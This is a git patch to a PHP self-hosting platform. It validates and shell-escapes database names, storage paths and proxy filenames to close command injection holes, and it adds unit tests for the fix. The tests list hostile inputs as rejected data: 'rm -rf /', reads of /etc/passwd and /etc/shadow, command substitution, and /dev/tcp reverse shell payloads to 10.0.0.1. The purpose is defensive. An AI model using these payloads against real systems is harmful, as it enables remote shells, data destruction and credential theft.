From 0073d045fbe28e2f54e593327ced7582943ec49f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 27 Nov 2025 14:36:31 +0100 Subject: [PATCH] fix: enhance security by validating and escaping database names, file paths, and proxy configuration filenames to prevent command injection --- app/Jobs/DatabaseBackupJob.php | 24 ++++- app/Livewire/Project/Database/BackupEdit.php | 9 ++ .../Project/Database/Postgresql/General.php | 29 ++++-- app/Livewire/Project/Service/Storage.php | 4 + .../Proxy/DynamicConfigurationNavbar.php | 9 +- .../Server/Proxy/NewDynamicConfiguration.php | 10 +- app/Models/LocalFileVolume.php | 51 ++++++---- tests/Unit/DatabaseBackupSecurityTest.php | 83 +++++++++++++++++ tests/Unit/FileStorageSecurityTest.php | 93 +++++++++++++++++++ .../Unit/PostgresqlInitScriptSecurityTest.php | 76 +++++++++++++++ tests/Unit/ProxyConfigurationSecurityTest.php | 83 +++++++++++++++++ 11 files changed, 439 insertions(+), 32 deletions(-) create mode 100644 tests/Unit/DatabaseBackupSecurityTest.php create mode 100644 tests/Unit/FileStorageSecurityTest.php create mode 100644 tests/Unit/PostgresqlInitScriptSecurityTest.php create mode 100644 tests/Unit/ProxyConfigurationSecurityTest.php diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index 45ac6eb7d..6917de6d5 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -489,17 +489,22 @@ private function backup_standalone_mongodb(string $databaseWithCollections): voi $collectionsToExclude = collect(); } $commands[] = 'mkdir -p '.$this->backup_dir; + + // Validate and escape database name to prevent command injection + validateShellSafePath($databaseName, 'database name'); + $escapedDatabaseName = escapeshellarg($databaseName); + if ($collectionsToExclude->count() === 0) { if (str($this->database->image)->startsWith('mongo:4')) { $commands[] = "docker exec $this->container_name mongodump --uri=\"$url\" --gzip --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $databaseName --gzip --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --archive > $this->backup_location"; } } else { if (str($this->database->image)->startsWith('mongo:4')) { $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $databaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location"; + $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection ".$collectionsToExclude->implode(' --excludeCollection ')." --archive > $this->backup_location"; } } } @@ -525,7 +530,10 @@ private function backup_standalone_postgresql(string $database): void if ($this->backup->dump_all) { $backupCommand .= " $this->container_name pg_dumpall --username {$this->database->postgres_user} | gzip > $this->backup_location"; } else { - $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $database > $this->backup_location"; + // Validate and escape database name to prevent command injection + validateShellSafePath($database, 'database name'); + $escapedDatabase = escapeshellarg($database); + $backupCommand .= " $this->container_name pg_dump --format=custom --no-acl --no-owner --username {$this->database->postgres_user} $escapedDatabase > $this->backup_location"; } $commands[] = $backupCommand; @@ -547,7 +555,10 @@ private function backup_standalone_mysql(string $database): void if ($this->backup->dump_all) { $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress | gzip > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $database > $this->backup_location"; + // Validate and escape database name to prevent command injection + validateShellSafePath($database, 'database name'); + $escapedDatabase = escapeshellarg($database); + $commands[] = "docker exec $this->container_name mysqldump -u root -p\"{$this->database->mysql_root_password}\" $escapedDatabase > $this->backup_location"; } $this->backup_output = instant_remote_process($commands, $this->server); $this->backup_output = trim($this->backup_output); @@ -567,7 +578,10 @@ private function backup_standalone_mariadb(string $database): void if ($this->backup->dump_all) { $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" --all-databases --single-transaction --quick --lock-tables=false --compress > $this->backup_location"; } else { - $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $database > $this->backup_location"; + // Validate and escape database name to prevent command injection + validateShellSafePath($database, 'database name'); + $escapedDatabase = escapeshellarg($database); + $commands[] = "docker exec $this->container_name mariadb-dump -u root -p\"{$this->database->mariadb_root_password}\" $escapedDatabase > $this->backup_location"; } $this->backup_output = instant_remote_process($commands, $this->server); $this->backup_output = trim($this->backup_output); diff --git a/app/Livewire/Project/Database/BackupEdit.php b/app/Livewire/Project/Database/BackupEdit.php index da543a049..3cfcc2505 100644 --- a/app/Livewire/Project/Database/BackupEdit.php +++ b/app/Livewire/Project/Database/BackupEdit.php @@ -107,6 +107,15 @@ public function syncData(bool $toModel = false) $this->backup->save_s3 = $this->saveS3; $this->backup->disable_local_backup = $this->disableLocalBackup; $this->backup->s3_storage_id = $this->s3StorageId; + + // Validate databases_to_backup to prevent command injection + if (filled($this->databasesToBackup)) { + $databases = str($this->databasesToBackup)->explode(','); + foreach ($databases as $db) { + validateShellSafePath(trim($db), 'database name'); + } + } + $this->backup->databases_to_backup = $this->databasesToBackup; $this->backup->dump_all = $this->dumpAll; $this->backup->timeout = $this->timeout; diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 3240aadd2..7ef2cdc4f 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -328,12 +328,15 @@ public function save_init_script($script) $configuration_dir = database_configuration_dir().'/'.$container_name; if ($oldScript && $oldScript['filename'] !== $script['filename']) { - $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}"; - $delete_command = "rm -f $old_file_path"; try { + // Validate and escape filename to prevent command injection + validateShellSafePath($oldScript['filename'], 'init script filename'); + $old_file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$oldScript['filename']}"; + $escapedOldPath = escapeshellarg($old_file_path); + $delete_command = "rm -f {$escapedOldPath}"; instant_remote_process([$delete_command], $this->server); } catch (Exception $e) { - $this->dispatch('error', 'Failed to remove old init script from server: '.$e->getMessage()); + $this->dispatch('error', $e->getMessage()); return; } @@ -370,13 +373,17 @@ public function delete_init_script($script) if ($found) { $container_name = $this->database->uuid; $configuration_dir = database_configuration_dir().'/'.$container_name; - $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}"; - $command = "rm -f $file_path"; try { + // Validate and escape filename to prevent command injection + validateShellSafePath($script['filename'], 'init script filename'); + $file_path = "$configuration_dir/docker-entrypoint-initdb.d/{$script['filename']}"; + $escapedPath = escapeshellarg($file_path); + + $command = "rm -f {$escapedPath}"; instant_remote_process([$command], $this->server); } catch (Exception $e) { - $this->dispatch('error', 'Failed to remove init script from server: '.$e->getMessage()); + $this->dispatch('error', $e->getMessage()); return; } @@ -405,6 +412,16 @@ public function save_new_init_script() 'new_filename' => 'required|string', 'new_content' => 'required|string', ]); + + try { + // Validate filename to prevent command injection + validateShellSafePath($this->new_filename, 'init script filename'); + } catch (Exception $e) { + $this->dispatch('error', $e->getMessage()); + + return; + } + $found = collect($this->initScripts)->firstWhere('filename', $this->new_filename); if ($found) { $this->dispatch('error', 'Filename already exists.'); diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php index db171db24..644b100b8 100644 --- a/app/Livewire/Project/Service/Storage.php +++ b/app/Livewire/Project/Service/Storage.php @@ -179,6 +179,10 @@ public function submitFileStorageDirectory() $this->file_storage_directory_destination = trim($this->file_storage_directory_destination); $this->file_storage_directory_destination = str($this->file_storage_directory_destination)->start('/')->value(); + // Validate paths to prevent command injection + validateShellSafePath($this->file_storage_directory_source, 'storage source path'); + validateShellSafePath($this->file_storage_directory_destination, 'storage destination path'); + \App\Models\LocalFileVolume::create([ 'fs_path' => $this->file_storage_directory_source, 'mount_path' => $this->file_storage_directory_destination, diff --git a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php index f377bbeb9..5e8a05d2c 100644 --- a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php +++ b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php @@ -26,12 +26,19 @@ public function delete(string $fileName) $proxy_path = $this->server->proxyPath(); $proxy_type = $this->server->proxyType(); $file = str_replace('|', '.', $fileName); + + // Validate filename to prevent command injection + validateShellSafePath($file, 'proxy configuration filename'); + if ($proxy_type === 'CADDY' && $file === 'Caddyfile') { $this->dispatch('error', 'Cannot delete Caddyfile.'); return; } - instant_remote_process(["rm -f {$proxy_path}/dynamic/{$file}"], $this->server); + + $fullPath = "{$proxy_path}/dynamic/{$file}"; + $escapedPath = escapeshellarg($fullPath); + instant_remote_process(["rm -f {$escapedPath}"], $this->server); if ($proxy_type === 'CADDY') { $this->server->reloadCaddy(); } diff --git a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php index eb2db1cbb..baf7b6b50 100644 --- a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php +++ b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php @@ -41,6 +41,10 @@ public function addDynamicConfiguration() 'fileName' => 'required', 'value' => 'required', ]); + + // Validate filename to prevent command injection + validateShellSafePath($this->fileName, 'proxy configuration filename'); + if (data_get($this->parameters, 'server_uuid')) { $this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first(); } @@ -65,8 +69,10 @@ public function addDynamicConfiguration() } $proxy_path = $this->server->proxyPath(); $file = "{$proxy_path}/dynamic/{$this->fileName}"; + $escapedFile = escapeshellarg($file); + if ($this->newFile) { - $exists = instant_remote_process(["test -f $file && echo 1 || echo 0"], $this->server); + $exists = instant_remote_process(["test -f {$escapedFile} && echo 1 || echo 0"], $this->server); if ($exists == 1) { $this->dispatch('error', 'File already exists'); @@ -80,7 +86,7 @@ public function addDynamicConfiguration() } $base64_value = base64_encode($this->value); instant_remote_process([ - "echo '{$base64_value}' | base64 -d | tee {$file} > /dev/null", + "echo '{$base64_value}' | base64 -d | tee {$escapedFile} > /dev/null", ], $this->server); if ($proxy_type === 'CADDY') { $this->server->reloadCaddy(); diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index 376ea9c5e..96170dbd6 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -61,9 +61,14 @@ public function loadStorageOnServer() $path = $path->after('.'); $path = $workdir.$path; } - $isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server); + + // Validate and escape path to prevent command injection + validateShellSafePath($path, 'storage path'); + $escapedPath = escapeshellarg($path); + + $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); if ($isFile === 'OK') { - $content = instant_remote_process(["cat $path"], $server, false); + $content = instant_remote_process(["cat {$escapedPath}"], $server, false); // Check if content contains binary data by looking for null bytes or non-printable characters if (str_contains($content, "\0") || preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content)) { $content = '[binary file]'; @@ -91,14 +96,19 @@ public function deleteStorageOnServer() $path = $path->after('.'); $path = $workdir.$path; } - $isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server); - $isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server); + + // Validate and escape path to prevent command injection + validateShellSafePath($path, 'storage path'); + $escapedPath = escapeshellarg($path); + + $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); + $isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server); if ($path && $path != '/' && $path != '.' && $path != '..') { if ($isFile === 'OK') { - $commands->push("rm -rf $path > /dev/null 2>&1 || true"); + $commands->push("rm -rf {$escapedPath} > /dev/null 2>&1 || true"); } elseif ($isDir === 'OK') { - $commands->push("rm -rf $path > /dev/null 2>&1 || true"); - $commands->push("rmdir $path > /dev/null 2>&1 || true"); + $commands->push("rm -rf {$escapedPath} > /dev/null 2>&1 || true"); + $commands->push("rmdir {$escapedPath} > /dev/null 2>&1 || true"); } } if ($commands->count() > 0) { @@ -135,10 +145,15 @@ public function saveStorageOnServer() $path = $path->after('.'); $path = $workdir.$path; } - $isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server); - $isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server); + + // Validate and escape path to prevent command injection + validateShellSafePath($path, 'storage path'); + $escapedPath = escapeshellarg($path); + + $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); + $isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server); if ($isFile === 'OK' && $this->is_directory) { - $content = instant_remote_process(["cat $path"], $server, false); + $content = instant_remote_process(["cat {$escapedPath}"], $server, false); $this->is_directory = false; $this->content = $content; $this->save(); @@ -151,8 +166,8 @@ public function saveStorageOnServer() throw new \Exception('The following file is a directory on the server, but you are trying to mark it as a file.

Please delete the directory on the server or mark it as directory.'); } instant_remote_process([ - "rm -fr $path", - "touch $path", + "rm -fr {$escapedPath}", + "touch {$escapedPath}", ], $server, false); FileStorageChanged::dispatch(data_get($server, 'team_id')); } @@ -161,19 +176,19 @@ public function saveStorageOnServer() $chown = data_get($this, 'chown'); if ($content) { $content = base64_encode($content); - $commands->push("echo '$content' | base64 -d | tee $path > /dev/null"); + $commands->push("echo '$content' | base64 -d | tee {$escapedPath} > /dev/null"); } else { - $commands->push("touch $path"); + $commands->push("touch {$escapedPath}"); } - $commands->push("chmod +x $path"); + $commands->push("chmod +x {$escapedPath}"); if ($chown) { - $commands->push("chown $chown $path"); + $commands->push("chown $chown {$escapedPath}"); } if ($chmod) { - $commands->push("chmod $chmod $path"); + $commands->push("chmod $chmod {$escapedPath}"); } } elseif ($isDir === 'NOK' && $this->is_directory) { - $commands->push("mkdir -p $path > /dev/null 2>&1 || true"); + $commands->push("mkdir -p {$escapedPath} > /dev/null 2>&1 || true"); } return instant_remote_process($commands, $server); diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php new file mode 100644 index 000000000..6fb0bb4b9 --- /dev/null +++ b/tests/Unit/DatabaseBackupSecurityTest.php @@ -0,0 +1,83 @@ + validateShellSafePath('test$(whoami)', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with semicolon separator', function () { + expect(fn () => validateShellSafePath('test; rm -rf /', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with pipe operator', function () { + expect(fn () => validateShellSafePath('test | cat /etc/passwd', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with backticks', function () { + expect(fn () => validateShellSafePath('test`whoami`', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with ampersand', function () { + expect(fn () => validateShellSafePath('test & whoami', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with redirect operators', function () { + expect(fn () => validateShellSafePath('test > /tmp/pwned', 'database name')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('test < /etc/passwd', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with newlines', function () { + expect(fn () => validateShellSafePath("test\nrm -rf /", 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup escapes shell arguments properly', function () { + $database = "test'db"; + $escaped = escapeshellarg($database); + + expect($escaped)->toBe("'test'\\''db'"); +}); + +test('database backup escapes shell arguments with double quotes', function () { + $database = 'test"db'; + $escaped = escapeshellarg($database); + + expect($escaped)->toBe("'test\"db'"); +}); + +test('database backup escapes shell arguments with spaces', function () { + $database = 'test database'; + $escaped = escapeshellarg($database); + + expect($escaped)->toBe("'test database'"); +}); + +test('database backup accepts legitimate database names', function () { + expect(fn () => validateShellSafePath('postgres', 'database name')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('my_database', 'database name')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('db-prod', 'database name')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('test123', 'database name')) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php new file mode 100644 index 000000000..a89a209b1 --- /dev/null +++ b/tests/Unit/FileStorageSecurityTest.php @@ -0,0 +1,93 @@ + validateShellSafePath('/tmp$(whoami)', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with semicolon', function () { + expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with pipe', function () { + expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with backticks', function () { + expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with ampersand', function () { + expect(fn () => validateShellSafePath('/data && whoami', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with redirect operators', function () { + expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects reverse shell payload', function () { + expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage escapes paths properly', function () { + $path = "/var/www/app's data"; + $escaped = escapeshellarg($path); + + expect($escaped)->toBe("'/var/www/app'\\''s data'"); +}); + +test('file storage escapes paths with spaces', function () { + $path = '/var/www/my app/data'; + $escaped = escapeshellarg($path); + + expect($escaped)->toBe("'/var/www/my app/data'"); +}); + +test('file storage escapes paths with special characters', function () { + $path = '/var/www/app (production)/data'; + $escaped = escapeshellarg($path); + + expect($escaped)->toBe("'/var/www/app (production)/data'"); +}); + +test('file storage accepts legitimate absolute paths', function () { + expect(fn () => validateShellSafePath('/var/www/app', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/data/storage', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path')) + ->not->toThrow(Exception::class); +}); + +test('file storage accepts paths with underscores and hyphens', function () { + expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path')) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/PostgresqlInitScriptSecurityTest.php b/tests/Unit/PostgresqlInitScriptSecurityTest.php new file mode 100644 index 000000000..4f74b13a4 --- /dev/null +++ b/tests/Unit/PostgresqlInitScriptSecurityTest.php @@ -0,0 +1,76 @@ + validateShellSafePath('test$(whoami)', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with semicolon', function () { + expect(fn () => validateShellSafePath('test; rm -rf /', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with pipe', function () { + expect(fn () => validateShellSafePath('test | whoami', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with backticks', function () { + expect(fn () => validateShellSafePath('test`id`', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with ampersand', function () { + expect(fn () => validateShellSafePath('test && whoami', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with redirect operators', function () { + expect(fn () => validateShellSafePath('test > /tmp/evil', 'init script filename')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('test < /etc/passwd', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects reverse shell payload', function () { + expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1)', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script escapes filenames properly', function () { + $filename = "init'script.sql"; + $escaped = escapeshellarg($filename); + + expect($escaped)->toBe("'init'\\''script.sql'"); +}); + +test('postgresql init script escapes special characters', function () { + $filename = 'init script with spaces.sql'; + $escaped = escapeshellarg($filename); + + expect($escaped)->toBe("'init script with spaces.sql'"); +}); + +test('postgresql init script accepts legitimate filenames', function () { + expect(fn () => validateShellSafePath('init.sql', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('01_schema.sql', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('init-script.sh', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename')) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/ProxyConfigurationSecurityTest.php b/tests/Unit/ProxyConfigurationSecurityTest.php new file mode 100644 index 000000000..72c5e4c3a --- /dev/null +++ b/tests/Unit/ProxyConfigurationSecurityTest.php @@ -0,0 +1,83 @@ + validateShellSafePath('test$(whoami)', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with semicolon', function () { + expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with pipe', function () { + expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with backticks', function () { + expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with ampersand', function () { + expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with redirect operators', function () { + expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects reverse shell payload', function () { + expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration escapes filenames properly', function () { + $filename = "config'test.yaml"; + $escaped = escapeshellarg($filename); + + expect($escaped)->toBe("'config'\\''test.yaml'"); +}); + +test('proxy configuration escapes filenames with spaces', function () { + $filename = 'my config.yaml'; + $escaped = escapeshellarg($filename); + + expect($escaped)->toBe("'my config.yaml'"); +}); + +test('proxy configuration accepts legitimate Traefik filenames', function () { + expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename')) + ->not->toThrow(Exception::class); +}); + +test('proxy configuration accepts legitimate Caddy filenames', function () { + expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename')) + ->not->toThrow(Exception::class); +});